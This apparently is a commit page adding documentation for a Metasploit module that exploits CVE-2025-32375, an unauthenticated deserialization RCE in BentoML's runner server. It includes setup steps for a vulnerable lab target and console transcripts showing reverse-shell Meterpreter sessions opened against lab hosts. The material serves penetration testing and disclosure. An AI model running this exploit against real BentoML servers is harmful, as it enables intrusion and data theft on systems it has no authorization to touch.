Merge pull request #20046 from Takahiro-Yoko/bentoml_runner_server_rce_cve_2025_32375
Add BentoML's runner server unauth RCE module (CVE-2025-32375)
This commit is contained in:
@@ -0,0 +1,165 @@
|
||||
## Vulnerable Application
|
||||
|
||||
There was an insecure deserialization in BentoML's runner server.
|
||||
By setting specific headers and parameters in the POST request, it is possible to execute any unauthorized arbitrary code on the server,
|
||||
which will grant the attackers to have the initial access and information disclosure on the server.
|
||||
|
||||
The vulnerability affects:
|
||||
|
||||
* 1.0.0a1 <= BentoML < 1.4.8
|
||||
|
||||
This module was successfully tested on:
|
||||
|
||||
* BentoML 1.3.5 installed on Ubuntu 20.04
|
||||
|
||||
|
||||
### Installation
|
||||
|
||||
1. `pip install -U bentoml==1.3.5`
|
||||
|
||||
2. Create a file named model.py to create a simple model and save it:
|
||||
```python3
|
||||
import bentoml
|
||||
import numpy as np
|
||||
|
||||
class mymodel:
|
||||
def predict(self, info):
|
||||
return np.abs(info)
|
||||
def __call__(self, info):
|
||||
return self.predict(info)
|
||||
|
||||
model = mymodel()
|
||||
bentoml.picklable_model.save_model("mymodel", model)
|
||||
```
|
||||
|
||||
3. Run the following command to save this model: `python3 model.py`
|
||||
|
||||
4. Create bentofile.yaml to build this model:
|
||||
```yml
|
||||
service: "service.py"
|
||||
description: "A model serving service with BentoML"
|
||||
python:
|
||||
packages:
|
||||
- bentoml
|
||||
- numpy
|
||||
models:
|
||||
- tag: MyModel:latest
|
||||
include:
|
||||
- "*.py"
|
||||
```
|
||||
|
||||
5. Create service.py to host this model:
|
||||
```python3
|
||||
import bentoml
|
||||
from bentoml.io import NumpyNdarray
|
||||
import numpy as np
|
||||
|
||||
|
||||
model_runner = bentoml.picklable_model.get("mymodel:latest").to_runner()
|
||||
|
||||
svc = bentoml.Service("myservice", runners=[model_runner])
|
||||
|
||||
async def predict(input_data: np.ndarray):
|
||||
|
||||
input_columns = np.split(input_data, input_data.shape[1], axis=1)
|
||||
result_generator = model_runner.async_run(input_columns, is_stream=True)
|
||||
async for result in result_generator:
|
||||
yield result
|
||||
```
|
||||
|
||||
6. Run the following commands to build and host this model:
|
||||
```bash
|
||||
bentoml build
|
||||
bentoml start-runner-server --runner-name mymodel --working-dir . --host 0.0.0.0
|
||||
```
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: `use exploit/linux/http/bentoml_runner_server_rce_cve_2025_32375`
|
||||
4. Do: `run lhost=<lhost> rhost=<rhost>`
|
||||
5. You should get a meterpreter
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Python payload
|
||||
```
|
||||
msf6 > use exploit/linux/http/bentoml_runner_server_rce_cve_2025_32375
|
||||
[*] Using configured payload python/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/bentoml_runner_server_rce_cve_2025_32375) > options
|
||||
|
||||
Module options (exploit/linux/http/bentoml_runner_server_rce_cve_2025_32375):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 3000 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (python/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Python payload
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(linux/http/bentoml_runner_server_rce_cve_2025_32375) > set target Python\ payload
|
||||
target => Python payload
|
||||
msf6 exploit(linux/http/bentoml_runner_server_rce_cve_2025_32375) > run lhost=192.168.56.1 rhost=192.168.56.15
|
||||
[*] Started reverse TCP handler on 192.168.56.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[!] The service is running, but could not be validated. BentoML's runner server detected.
|
||||
[*] Sending stage (24772 bytes) to 192.168.56.15
|
||||
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.15:47712) at 2025-04-17 20:29:12 +0900
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: ubu
|
||||
meterpreter > sysinfo
|
||||
Computer : vul
|
||||
OS : Linux 5.4.0-212-generic #232-Ubuntu SMP Sat Mar 15 15:34:35 UTC 2025
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Meterpreter : python/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
### Linux command
|
||||
```
|
||||
msf6 exploit(linux/http/bentoml_runner_server_rce_cve_2025_32375) > set target Linux\ Command
|
||||
target => Linux Command
|
||||
msf6 exploit(linux/http/bentoml_runner_server_rce_cve_2025_32375) > run lhost=192.168.56.1 rhost=192.168.56.15
|
||||
[*] Started reverse TCP handler on 192.168.56.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[!] The service is running, but could not be validated. BentoML's runner server detected.
|
||||
[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.15:43432) at 2025-04-17 20:29:48 +0900
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: ubu
|
||||
meterpreter > sysinfo
|
||||
Computer : 192.168.56.15
|
||||
OS : Ubuntu 20.04 (Linux 5.4.0-212-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
Reference in New Issue
Block a user